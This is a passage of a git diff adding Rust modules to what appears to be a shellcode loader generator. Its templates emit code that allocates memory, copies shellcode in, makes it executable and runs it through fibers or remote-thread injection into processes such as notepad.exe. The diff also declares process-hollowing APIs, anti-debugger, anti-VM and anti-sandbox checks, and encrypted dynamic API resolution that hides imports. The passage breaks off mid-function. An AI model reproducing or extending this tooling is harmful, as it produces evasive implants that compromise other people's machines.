+ assert!(result.contains("dest: *mut c_void"));
+ assert!(result.contains(");"));
+ assert!(!result.contains("->"));
+ }
+
+ #[test]
+ fn test_memory_allocation_builder_basic() {
+ let code = MemoryAllocationBuilder::new().build();
+
+ assert!(code.contains("VirtualAlloc"));
+ assert!(code.contains("RtlCopyMemory"));
+ assert!(code.contains("addr"));
+ assert!(code.contains("PAGE_READWRITE"));
+ assert!(!code.contains("VirtualProtect"));
+ }
+
+ #[test]
+ fn test_memory_allocation_builder_with_protect() {
+ let code = MemoryAllocationBuilder::new()
+ .with_virtual_protect(true)
+ .build();
+
+ assert!(code.contains("VirtualAlloc"));
+ assert!(code.contains("RtlCopyMemory"));
+ assert!(code.contains("VirtualProtect"));
+ assert!(code.contains("PAGE_EXECUTE_READ"));
+ assert!(code.contains("old_protect"));
+ }
+
+ #[test]
+ fn test_memory_allocation_builder_custom_var() {
+ let code = MemoryAllocationBuilder::new()
+ .with_addr_var("memory_addr")
+ .with_protection(protection_flags::EXECUTE_READWRITE)
+ .build();
+
+ assert!(code.contains("let memory_addr ="));
+ assert!(code.contains("PAGE_EXECUTE_READWRITE"));
+ }
+
+ #[test]
+ fn test_null_check() {
+ let code = null_check("addr", " ");
+ assert!(code.contains("if addr.is_null()"));
+ assert!(code.contains("panic!(\"failed\")"));
+ }
+
+ #[test]
+ fn test_result_check() {
+ let code = result_check("result", "0", " ");
+ assert!(code.contains("if result == 0"));
+ assert!(code.contains("panic!(\"failed\")"));
+ }
+
+ #[test]
+ fn test_shellcode_execution() {
+ let code = shellcode_execution("addr", " ");
+ assert!(code.contains("let shellcode_fn: extern \"C\" fn()"));
+ assert!(code.contains("std::mem::transmute(addr)"));
+ assert!(code.contains("shellcode_fn()"));
+ }
+}
diff --git a/src/internals/templates/techniques/common.rs b/src/internals/templates/techniques/common.rs
@@ -0,0 +1,488 @@
+use super::super::{process_helpers, windows_types};
+
+/// Common Windows API constants used across multiple techniques
+pub const COMMON_MEMORY_CONSTANTS: &str = r#"const MEM_COMMIT: u32 = 0x1000;
+const MEM_RESERVE: u32 = 0x2000;
+const PAGE_READWRITE: u32 = 0x4;
+const PAGE_EXECUTE_READ: u32 = 0x20;
+const PAGE_EXECUTE_READWRITE: u32 = 0x40;"#;
+
+/// Common process creation constants
+pub const COMMON_PROCESS_CONSTANTS: &str = r#"const CREATE_SUSPENDED: u32 = 0x4;
+const CREATE_NO_WINDOW: u32 = 0x8000000;"#;
+
+/// Common imports for local memory operations
+pub fn common_local_memory_imports() -> &'static str {
+ "use std::ffi::c_void;"
+}
+
+/// Common Windows API function declarations for local memory operations
+/// These functions operate on the current process (VirtualAlloc, VirtualProtect, etc.)
+pub fn common_local_memory_externs() -> &'static str {
+ r#"#[link(name = "kernel32")]
+extern "system" {
+ fn VirtualAlloc(
+ address: *mut c_void,
+ size: usize,
+ allocation_type: u32,
+ protect: u32,
+ ) -> *mut c_void;
+
+ fn VirtualProtect(
+ lp_address: *mut c_void,
+ dw_size: usize,
+ fl_new_protect: u32,
+ lpfl_old_protect: *mut u32,
+ ) -> i32;
+}"#
+}
+
+/// Common Windows API function declarations for process injection
+pub fn common_process_injection_externs() -> &'static str {
+ r#" fn VirtualAllocEx(
+ process: *mut std::ffi::c_void,
+ address: *const std::ffi::c_void,
+ size: usize,
+ allocation_type: u32,
+ protect: u32,
+ ) -> *mut std::ffi::c_void;
+
+ fn VirtualProtectEx(
+ process: *mut std::ffi::c_void,
+ address: *const std::ffi::c_void,
+ size: usize,
+ new_protect: u32,
+ old_protect: *mut u32,
+ ) -> i32;
+
+ fn WriteProcessMemory(
+ process: *mut std::ffi::c_void,
+ base_address: *const std::ffi::c_void,
+ buffer: *const std::ffi::c_void,
+ size: usize,
+ number_of_bytes_written: *mut usize,
+ ) -> i32;
+
+ fn CreateProcessW(
+ application_name: *const u16,
+ command_line: *mut u16,
+ process_attributes: *const std::ffi::c_void,
+ thread_attributes: *const std::ffi::c_void,
+ inherit_handles: i32,
+ creation_flags: u32,
+ environment: *const std::ffi::c_void,
+ current_directory: *const u16,
+ startup_info: *const StartupInfoW,
+ process_information: *mut ProcessInformation,
+ ) -> i32;"#
+}
+
+/// Extended kernel32 externs for process hollowing and other advanced techniques
+pub fn common_process_hollowing_externs() -> &'static str {
+ r#" fn ReadProcessMemory(
+ process: *mut std::ffi::c_void,
+ base_address: usize,
+ buffer: *mut u8,
+ size: usize,
+ number_of_bytes_read: *mut usize,
+ ) -> i32;
+
+ fn ResumeThread(
+ thread: *mut std::ffi::c_void,
+ ) -> u32;"#
+}
+
+/// Common ntdll.dll function declarations
+pub fn common_ntdll_externs() -> &'static str {
+ r#" fn NtAllocateVirtualMemory(
+ process_handle: usize,
+ base_address: *mut usize,
+ zero_bits: usize,
+ region_size: *mut usize,
+ allocation_type: u32,
+ protect: u32,
+ ) -> i32;
+
+ fn NtWriteVirtualMemory(
+ process_handle: usize,
+ base_address: usize,
+ buffer: *const std::ffi::c_void,
+ number_of_bytes_to_write: usize,
+ number_of_bytes_written: usize,
+ ) -> i32;
+
+ fn NtProtectVirtualMemory(
+ process_handle: usize,
+ base_address: *mut usize,
+ region_size: *mut usize,
+ new_protect: u32,
+ old_protect: *mut u32,
+ ) -> i32;
+
+ fn NtCreateThreadEx(
+ thread_handle: *mut usize,
+ desired_access: u32,
+ object_attributes: usize,
+ process_handle: usize,
+ start_routine: usize,
+ argument: usize,
+ create_flags: usize,
+ zero_bits: usize,
+ stack_size: usize,
+ maximum_stack_size: usize,
+ attribute_list: usize,
+ ) -> i32;
+
+ fn ZwQueryInformationProcess(
+ process_handle: *mut std::ffi::c_void,
+ process_information_class: u32,
+ process_information: *mut ProcessBasicInformation,
+ process_information_length: u32,
+ return_length: *mut u32,
+ ) -> i32;"#
+}
+
+/// Common thread management externs (kernel32)
+pub fn common_thread_management_externs() -> &'static str {
+ r#" fn WaitForSingleObject(
+ handle: usize,
+ milliseconds: u32,
+ ) -> u32;"#
+}
+
+/// ProcessBasicInformation structure for ntdll queries
+pub fn process_basic_information_struct() -> &'static str {
+ r#"#[repr(C)]
+struct ProcessBasicInformation {
+ reserved1: usize,
+ peb_address: usize,
+ reserved2: usize,
+ reserved3: usize,
+ unique_pid: usize,
+ more_reserved: usize,
+}"#
+}
+
+/// Common evasion externs for kernel32 (used in anti-VM and anti-debugger checks)
+pub fn common_evasion_kernel32_externs() -> &'static str {
+ r#" fn GetModuleHandleA(module_name: *const i8) -> *mut std::ffi::c_void;
+
+ fn IsDebuggerPresent() -> i32;
+
+ fn CheckRemoteDebuggerPresent(
+ process: *mut std::ffi::c_void,
+ present: *mut i32,
+ ) -> i32;
+
+ fn GetCurrentProcess() -> *mut std::ffi::c_void;
+
+ fn GetCurrentThread() -> *mut std::ffi::c_void;
+
+ fn GetThreadContext(
+ thread: *mut std::ffi::c_void,
+ context: *mut Context,
+ ) -> i32;
+
+ fn GlobalMemoryStatusEx(buffer: *mut MemoryStatusEx) -> i32;
+
+ fn GetTickCount() -> u32;
+
+ fn GetTickCount64() -> u64;"#
+}
+
+/// Common evasion externs for user32 (used in anti-sandbox checks)
+pub fn common_evasion_user32_externs() -> &'static str {
+ r#" fn GetLastInputInfo(info: *mut LastInputInfo) -> i32;"#
+}
+
+/// Common evasion externs for ntdll (used in anti-debugger checks)
+pub fn common_evasion_ntdll_externs() -> &'static str {
+ r#" fn NtQueryInformationProcess(
+ process_handle: *mut std::ffi::c_void,
+ process_information_class: u32,
+ process_information: *mut std::ffi::c_void,
+ process_information_length: u32,
+ return_length: *mut u32,
+ ) -> i32;"#
+}
+
+/// Evasion-specific structures
+pub fn common_evasion_structures() -> &'static str {
+ r#"#[repr(C)]
+struct MemoryStatusEx {
+ length: u32,
+ memory_load: u32,
+ total_phys: u64,
+ avail_phys: u64,
+ total_page_file: u64,
+ avail_page_file: u64,
+ total_virtual: u64,
+ avail_virtual: u64,
+ avail_extended_virtual: u64,
+}
+
+#[repr(C)]
+struct LastInputInfo {
+ size: u32,
+ time: u32,
+}
+
+#[repr(C)]
+struct Context {
+ context_flags: u32,
+ dr0: usize,
+ dr1: usize,
+ dr2: usize,
+ dr3: usize,
+ dr6: usize,
+ dr7: usize,
+ _padding: [u8; 512],
+}"#
+}
+
+/// Common Windows structures for process creation
+///
+/// This function now delegates to the centralized windows_types module.
+pub fn common_process_structures() -> String {
+ windows_types::process_structures()
+}
+
+/// Common imports for process injection techniques
+///
+/// This function now delegates to the centralized process_helpers module.
+pub fn common_process_injection_imports() -> &'static str {
+ process_helpers::process_creation_imports()
+}
+
+/// Template builder for generating consistent technique code
+pub struct TechniqueTemplateBuilder {
+ import: String,
+ const_section: String,
+ init_section: String,
+ process_section: String,
+}
+
+impl TechniqueTemplateBuilder {
+ pub fn new() -> Self {
+ Self {
+ import: String::new(),
+ const_section: String::new(),
+ init_section: String::new(),
+ process_section: String::new(),
+ }
+ }
+
+ pub fn with_import(mut self, import: String) -> Self {
+ self.import = import;
+ self
+ }
+
+ pub fn with_const(mut self, const_section: String) -> Self {
+ self.const_section = const_section;
+ self
+ }
+
+ pub fn with_init(mut self, init_section: String) -> Self {
+ self.init_section = init_section;
+ self
+ }
+
+ pub fn with_process(mut self, process_section: String) -> Self {
+ self.process_section = process_section;
+ self
+ }
+
+ pub fn build(self, function_name: &str) -> String {
+ format!(
+ r#"
+{}
+
+{}
+
+{}
+
+fn {}(shellcode: &[u8]) {{
+{}
+}}
+"#,
+ self.import, self.const_section, self.init_section, function_name, self.process_section
+ )
+ }
+}
+
+impl Default for TechniqueTemplateBuilder {
+ fn default() -> Self {
+ Self::new()
+ }
+}
+
+#[cfg(test)]
+pub mod test_helpers {
+ /// Assert that the code contains required imports
+ #[allow(dead_code)]
+ pub fn assert_contains_imports(code: &str, imports: &[&str]) {
+ for import in imports {
+ assert!(
+ code.contains(import),
+ "Code should contain import: {}",
+ import
+ );
+ }
+ }
+
+ /// Assert that the code contains extern function declarations
+ #[allow(dead_code)]
+ pub fn assert_contains_extern_functions(code: &str, functions: &[&str]) {
+ for function in functions {
+ assert!(
+ code.contains(function),
+ "Code should contain extern function: {}",
+ function
+ );
+ }
+ }
+
+ /// Assert that the code contains error handling
+ #[allow(dead_code)]
+ pub fn assert_has_error_handling(code: &str) {
+ assert!(
+ code.contains("panic"),
+ "Code should contain error handling (panic)"
+ );
+ }
+
+ /// Assert that the code contains memory constants
+ #[allow(dead_code)]
+ pub fn assert_contains_memory_constants(code: &str) {
+ let constants = ["MEM_COMMIT", "MEM_RESERVE"];
+ for constant in &constants {
+ assert!(
+ code.contains(constant),
+ "Code should contain constant: {}",
+ constant
+ );
+ }
+ }
+
+ /// Assert that the code contains a function with the given name
+ #[allow(dead_code)]
+ pub fn assert_contains_function(code: &str, function_name: &str) {
+ assert!(
+ code.contains(&format!("fn {}", function_name)),
+ "Code should contain function: {}",
+ function_name
+ );
+ }
+
+ /// Assert that the code contains Windows API extern declarations
+ #[allow(dead_code)]
+ pub fn assert_contains_windows_api_externs(code: &str, apis: &[&str]) {
+ for api in apis {
+ assert!(
+ code.contains(api),
+ "Code should contain Windows API: {}",
+ api
+ );
+ }
+ }
+}
+
+#[cfg(test)]
+mod integration_tests {
+ use super::*;
+
+ #[test]
+ fn test_common_process_structures_uses_windows_types() {
+ let code = common_process_structures();
+ assert!(code.contains("struct StartupInfoW"));
+ assert!(code.contains("struct ProcessInformation"));
+ }
+
+ #[test]
+ fn test_common_imports_match_process_helpers() {
+ let common_imports = common_process_injection_imports();
+ let helper_imports = process_helpers::process_creation_imports();
+ assert_eq!(common_imports, helper_imports);
+ }
+
+ #[test]
+ fn test_template_builder_works_with_new_modules() {
+ let builder = TechniqueTemplateBuilder::new()
+ .with_import(common_process_injection_imports().to_string())
+ .with_const(COMMON_MEMORY_CONSTANTS.to_string())
+ .with_init("// test init".to_string())
+ .with_process("// test process".to_string())
+ .build("test_fn");
+
+ assert!(builder.contains("use std::ptr"));
+ assert!(builder.contains("MEM_COMMIT"));
+ assert!(builder.contains("test_fn"));
+ }
+
+ #[test]
+ fn test_common_process_hollowing_externs() {
+ let code = common_process_hollowing_externs();
+ assert!(code.contains("ReadProcessMemory"));
+ assert!(code.contains("ResumeThread"));
+ }
+
+ #[test]
+ fn test_common_ntdll_externs() {
+ let code = common_ntdll_externs();
+ assert!(code.contains("NtAllocateVirtualMemory"));
+ assert!(code.contains("NtWriteVirtualMemory"));
+ assert!(code.contains("NtProtectVirtualMemory"));
+ assert!(code.contains("NtCreateThreadEx"));
+ assert!(code.contains("ZwQueryInformationProcess"));
+ }
+
+ #[test]
+ fn test_common_thread_management_externs() {
+ let code = common_thread_management_externs();
+ assert!(code.contains("WaitForSingleObject"));
+ }
+
+ #[test]
+ fn test_process_basic_information_struct() {
+ let code = process_basic_information_struct();
+ assert!(code.contains("struct ProcessBasicInformation"));
+ assert!(code.contains("peb_address"));
+ assert!(code.contains("unique_pid"));
+ }
+
+ #[test]
+ fn test_common_evasion_kernel32_externs() {
+ let code = common_evasion_kernel32_externs();
+ assert!(code.contains("GetModuleHandleA"));
+ assert!(code.contains("IsDebuggerPresent"));
+ assert!(code.contains("CheckRemoteDebuggerPresent"));
+ assert!(code.contains("GetCurrentProcess"));
+ assert!(code.contains("GetCurrentThread"));
+ assert!(code.contains("GetThreadContext"));
+ assert!(code.contains("GlobalMemoryStatusEx"));
+ assert!(code.contains("GetTickCount"));
+ assert!(code.contains("GetTickCount64"));
+ }
+
+ #[test]
+ fn test_common_evasion_user32_externs() {
+ let code = common_evasion_user32_externs();
+ assert!(code.contains("GetLastInputInfo"));
+ }
+
+ #[test]
+ fn test_common_evasion_ntdll_externs() {
+ let code = common_evasion_ntdll_externs();
+ assert!(code.contains("NtQueryInformationProcess"));
+ }
+
+ #[test]
+ fn test_common_evasion_structures() {
+ let code = common_evasion_structures();
+ assert!(code.contains("struct MemoryStatusEx"));
+ assert!(code.contains("struct LastInputInfo"));
+ assert!(code.contains("struct Context"));
+ assert!(code.contains("dr0"));
+ assert!(code.contains("dr7"));
+ }
+}
diff --git a/src/internals/templates/techniques/create_fiber.rs b/src/internals/templates/techniques/create_fiber.rs
@@ -0,0 +1,261 @@
+pub fn fiber_import() -> String {
+ r#"
+use std::ptr;
+"#
+ .to_string()
+}
+
+pub fn fiber_const() -> String {
+ format!(
+ r#"
+{}
+
+#[link(name = "kernel32")]
+extern "system" {{
+ fn ConvertThreadToFiber(parameter: *const std::ffi::c_void) -> *mut std::ffi::c_void;
+
+ fn CreateFiber(
+ stack_size: usize,
+ start_address: *const std::ffi::c_void,
+ parameter: *const std::ffi::c_void,
+ ) -> *mut std::ffi::c_void;
+
+ fn SwitchToFiber(fiber: *const std::ffi::c_void);
+}}
+
+#[link(name = "ntdll")]
+extern "system" {{
+ fn RtlCopyMemory(
+ destination: *mut std::ffi::c_void,
+ source: *const std::ffi::c_void,
+ length: usize,
+ );
+}}
+"#,
+ super::common::COMMON_MEMORY_CONSTANTS
+ )
+}
+
+pub fn fiber_init() -> String {
+ String::new()
+}
+
+pub fn fiber_process() -> String {
+ r#"
+ unsafe {
+ let fiber_addr = ConvertThreadToFiber(ptr::null());
+ if fiber_addr.is_null() {
+ panic!("failed");
+ }
+
+ let addr = VirtualAlloc(
+ ptr::null_mut(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ );
+
+ if addr.is_null() {
+ panic!("failed");
+ }
+
+ RtlCopyMemory(
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ let mut old_protect: u32 = PAGE_READWRITE;
+ let result = VirtualProtect(addr as *mut std::ffi::c_void, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
+
+ if result == 0 {
+ panic!("failed");
+ }
+
+ let fiber = CreateFiber(0, addr, ptr::null());
+ if fiber.is_null() {
+ panic!("failed");
+ }
+
+ SwitchToFiber(fiber);
+ }
+"#
+ .to_string()
+}
+
+fn generate_create_fiber_template(function_name: &str) -> String {
+ super::common::TechniqueTemplateBuilder::new()
+ .with_import(fiber_import())
+ .with_const(fiber_const())
+ .with_init(fiber_init())
+ .with_process(fiber_process())
+ .build(function_name)
+}
+
+pub fn generate_create_fiber_code(function_name: &str) -> String {
+ generate_create_fiber_template(function_name)
+}
+
+fn fiber_process_with_dynamic_resolver(
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ use super::dynamic_common::*;
+
+ // Generate resolvers for each function using common helpers with encryption
+ let convert_thread = convert_thread_to_fiber_resolver(encryptor)?;
+ let virtual_alloc = virtual_alloc_resolver(encryptor)?;
+ let virtual_protect = virtual_protect_resolver(encryptor)?;
+ let create_fiber = create_fiber_resolver(encryptor)?;
+ let switch_to_fiber = switch_to_fiber_resolver(encryptor)?;
+ let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
+
+ Ok(format!(
+ r#"
+ unsafe {{
+ {convert_thread_resolver}
+ {convert_thread_cast}
+
+ let fiber_addr = convert_thread_to_fiber(ptr::null());
+ if fiber_addr.is_null() {{
+ panic!("failed");
+ }}
+
+ {virtual_alloc_resolver}
+ {virtual_alloc_cast}
+
+ let addr = virtual_alloc(
+ ptr::null(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ );
+
+ if addr.is_null() {{
+ panic!("failed");
+ }}
+
+ {rtl_copy_memory_resolver}
+ {rtl_copy_memory_cast}
+
+ rtl_copy_memory(
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ {virtual_protect_resolver}
+ {virtual_protect_cast}
+
+ let mut old_protect: u32 = PAGE_READWRITE;
+ let result = virtual_protect(addr, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
+
+ if result == 0 {{
+ panic!("failed");
+ }}
+
+ {create_fiber_resolver}
+ {create_fiber_cast}
+
+ let fiber = create_fiber(0, addr, ptr::null());
+ if fiber.is_null() {{
+ panic!("failed");
+ }}
+
+ {switch_to_fiber_resolver}
+ {switch_to_fiber_cast}
+
+ switch_to_fiber(fiber);
+ }}
+"#,
+ convert_thread_resolver = convert_thread.resolver_code,
+ convert_thread_cast = convert_thread.cast_code,
+ virtual_alloc_resolver = virtual_alloc.resolver_code,
+ virtual_alloc_cast = virtual_alloc.cast_code,
+ rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
+ rtl_copy_memory_cast = rtl_copy_memory.cast_code,
+ virtual_protect_resolver = virtual_protect.resolver_code,
+ virtual_protect_cast = virtual_protect.cast_code,
+ create_fiber_resolver = create_fiber.resolver_code,
+ create_fiber_cast = create_fiber.cast_code,
+ switch_to_fiber_resolver = switch_to_fiber.resolver_code,
+ switch_to_fiber_cast = switch_to_fiber.cast_code,
+ ))
+}
+
+fn generate_create_fiber_template_with_dynamic_resolver(
+ function_name: &str,
+ _encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ let process_code = fiber_process_with_dynamic_resolver(encryptor)?;
+
+ Ok(super::common::TechniqueTemplateBuilder::new()
+ .with_import(fiber_import())
+ .with_const(fiber_const())
+ .with_init(fiber_init())
+ .with_process(process_code)
+ .build(function_name))
+}
+
+pub fn generate_create_fiber_code_with_dynamic_resolver(
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> String {
+ generate_create_fiber_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
+ .unwrap_or_else(|err| {
+ panic!(
+ "Failed to generate CreateFiber code with dynamic resolver (encryption: {}): {}",
+ encryption_type, err
+ )
+ })
+}
+
+pub struct CreateFiberGenerator;
+
+impl super::trait_generator::TechniqueGenerator for CreateFiberGenerator {
+ fn generate_code(&self, _process: &str, function_name: &str) -> String {
+ generate_create_fiber_code(function_name)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ _process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ generate_create_fiber_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
+ }
+
+ fn requires_process(&self) -> bool {
+ false
+ }
+
+ fn name(&self) -> &'static str {
+ "CreateFiber"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_create_fiber_template_contains_all_parts() {
+ let template = generate_create_fiber_template("MyFunction");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("MEM_COMMIT"));
+ assert!(template.contains("ConvertThreadToFiber"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("VirtualAlloc"));
+ }
+
+ #[test]
+ fn test_generate_create_fiber_code() {
+ let code = generate_create_fiber_code("MyRandomFunc");
+ assert!(code.contains("fn MyRandomFunc"));
+ assert!(code.contains("ConvertThreadToFiber"));
+ assert!(code.contains("CreateFiber"));
+ }
+}
diff --git a/src/internals/templates/techniques/create_remote_thread.rs b/src/internals/templates/techniques/create_remote_thread.rs
@@ -0,0 +1,104 @@
+use super::process_injection_common::RemoteThreadConfig;
+
+const CRT_CONFIG: RemoteThreadConfig = RemoteThreadConfig::create_remote_thread();
+
+#[allow(dead_code)]
+pub fn crt_import() -> String {
+ CRT_CONFIG.generate_import()
+}
+
+#[allow(dead_code)]
+pub fn crt_const() -> String {
+ CRT_CONFIG.generate_const()
+}
+
+#[allow(dead_code)]
+pub fn crt_init() -> String {
+ CRT_CONFIG.generate_init()
+}
+
+#[allow(dead_code)]
+pub fn crt_process() -> String {
+ CRT_CONFIG.generate_process()
+}
+
+pub fn generate_crt_code(target_process: &str, function_name: &str) -> String {
+ CRT_CONFIG.generate_template(target_process, function_name)
+}
+
+pub fn generate_crt_code_with_dynamic_resolver(
+ target_process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> String {
+ CRT_CONFIG
+ .generate_template_with_dynamic_resolver(
+ target_process,
+ function_name,
+ encryption_type,
+ encryptor,
+ )
+ .unwrap_or_else(|err| {
+ panic!(
+ "Failed to generate CRT code with dynamic resolver (encryption: {}): {}",
+ encryption_type, err
+ )
+ })
+}
+
+pub struct CRTGenerator;
+
+impl super::trait_generator::TechniqueGenerator for CRTGenerator {
+ fn generate_code(&self, process: &str, function_name: &str) -> String {
+ generate_crt_code(process, function_name)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ generate_crt_code_with_dynamic_resolver(process, function_name, encryption_type, encryptor)
+ }
+
+ fn requires_process(&self) -> bool {
+ true
+ }
+
+ fn name(&self) -> &'static str {
+ "CreateRemoteThread"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_crt_template_replaces_process_placeholder() {
+ let template = generate_crt_code("notepad.exe", "TestFunc");
+ assert!(template.contains("notepad.exe"));
+ assert!(!template.contains("__PROCESS__"));
+ }
+
+ #[test]
+ fn test_generate_crt_template_contains_all_parts() {
+ let template = generate_crt_code("calc.exe", "MyFunction");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("MEM_COMMIT"));
+ assert!(template.contains("fn load_process"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("VirtualAllocEx"));
+ }
+
+ #[test]
+ fn test_generate_crt_code() {
+ let code = generate_crt_code("notepad.exe", "MyRandomFunc");
+ assert!(code.contains("notepad.exe"));
+ assert!(code.contains("fn MyRandomFunc"));
+ assert!(!code.contains("__PROCESS__"));
+ }
+}
diff --git a/src/internals/templates/techniques/create_remote_thread_ex.rs b/src/internals/templates/techniques/create_remote_thread_ex.rs
@@ -0,0 +1,105 @@
+use super::process_injection_common::RemoteThreadConfig;
+
+const CRTX_CONFIG: RemoteThreadConfig = RemoteThreadConfig::create_remote_thread_ex();
+
+#[allow(dead_code)]
+pub fn crtx_import() -> String {
+ CRTX_CONFIG.generate_import()
+}
+
+#[allow(dead_code)]
+pub fn crtx_const() -> String {
+ CRTX_CONFIG.generate_const()
+}
+
+#[allow(dead_code)]
+pub fn crtx_init() -> String {
+ CRTX_CONFIG.generate_init()
+}
+
+#[allow(dead_code)]
+pub fn crtx_process() -> String {
+ CRTX_CONFIG.generate_process()
+}
+
+pub fn generate_crtx_code(target_process: &str, function_name: &str) -> String {
+ CRTX_CONFIG.generate_template(target_process, function_name)
+}
+
+pub fn generate_crtx_code_with_dynamic_resolver(
+ target_process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> String {
+ CRTX_CONFIG
+ .generate_template_with_dynamic_resolver(
+ target_process,
+ function_name,
+ encryption_type,
+ encryptor,
+ )
+ .unwrap_or_else(|err| {
+ panic!(
+ "Failed to generate CRTx code with dynamic resolver (encryption: {}): {}",
+ encryption_type, err
+ )
+ })
+}
+
+pub struct CRTxGenerator;
+
+impl super::trait_generator::TechniqueGenerator for CRTxGenerator {
+ fn generate_code(&self, process: &str, function_name: &str) -> String {
+ generate_crtx_code(process, function_name)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ generate_crtx_code_with_dynamic_resolver(process, function_name, encryption_type, encryptor)
+ }
+
+ fn requires_process(&self) -> bool {
+ true
+ }
+
+ fn name(&self) -> &'static str {
+ "CreateRemoteThreadEx"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_crtx_template_replaces_process_placeholder() {
+ let template = generate_crtx_code("notepad.exe", "TestFunc");
+ assert!(template.contains("notepad.exe"));
+ assert!(!template.contains("__PROCESS__"));
+ }
+
+ #[test]
+ fn test_generate_crtx_template_contains_all_parts() {
+ let template = generate_crtx_code("calc.exe", "MyFunction");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("MEM_COMMIT"));
+ assert!(template.contains("fn load_process"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("VirtualAllocEx"));
+ assert!(template.contains("CreateRemoteThreadEx"));
+ }
+
+ #[test]
+ fn test_generate_crtx_code() {
+ let code = generate_crtx_code("notepad.exe", "MyRandomFunc");
+ assert!(code.contains("notepad.exe"));
+ assert!(code.contains("fn MyRandomFunc"));
+ assert!(!code.contains("__PROCESS__"));
+ }
+}
diff --git a/src/internals/templates/techniques/dynamic_common.rs b/src/internals/templates/techniques/dynamic_common.rs
@@ -0,0 +1,731 @@
+//! Common dynamic function resolvers to reduce code duplication across techniques
+
+use super::super::{generate_dynamic_function_resolver, generate_function_type_and_cast};
+use crate::encryption::Encryptor;
+
+/// Key constant name used for decryption in generated code
+const DECRYPTION_KEY_NAME: &str = "DECRYPTION_KEY";
+
+/// Metadata for a Windows API function
+struct ApiMetadata {
+ dll: &'static str,
+ var_name: &'static str,
+ signature: &'static str,
+}
+
+/// Registry of all Windows API functions with their metadata
+fn get_api_metadata(function_name: &str) -> Option<ApiMetadata> {
+ match function_name {
+ "VirtualAlloc" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "virtual_alloc",
+ signature: "unsafe extern \"system\" fn(*const std::ffi::c_void, usize, u32, u32) -> *mut std::ffi::c_void",
+ }),
+ "VirtualAllocEx" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "virtual_alloc_ex",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const std::ffi::c_void, usize, u32, u32) -> *mut std::ffi::c_void",
+ }),
+ "VirtualProtect" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "virtual_protect",
+ signature: "unsafe extern \"system\" fn(*const std::ffi::c_void, usize, u32, *mut u32) -> i32",
+ }),
+ "VirtualProtectEx" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "virtual_protect_ex",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const std::ffi::c_void, usize, u32, *mut u32) -> i32",
+ }),
+ "WriteProcessMemory" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "write_process_memory",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const std::ffi::c_void, *const std::ffi::c_void, usize, *mut usize) -> i32",
+ }),
+ "CreateProcessW" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "create_process_w",
+ signature: "unsafe extern \"system\" fn(*const u16, *mut u16, *const std::ffi::c_void, *const std::ffi::c_void, i32, u32, *const std::ffi::c_void, *const u16, *const StartupInfoW, *mut ProcessInformation) -> i32",
+ }),
+ "CreateRemoteThread" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "create_remote_thread",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const std::ffi::c_void, usize, *const std::ffi::c_void, *const std::ffi::c_void, u32, *mut u32) -> *mut std::ffi::c_void",
+ }),
+ "CreateRemoteThreadEx" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "create_remote_thread_ex",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const std::ffi::c_void, usize, *const std::ffi::c_void, *const std::ffi::c_void, u32, *const std::ffi::c_void, *mut u32) -> *mut std::ffi::c_void",
+ }),
+ "RtlCopyMemory" => Some(ApiMetadata {
+ dll: "ntdll.dll",
+ var_name: "rtl_copy_memory",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const std::ffi::c_void, usize)",
+ }),
+ "ConvertThreadToFiber" => Some(ApiMetadata {
+ dll: "kernel32.dll",
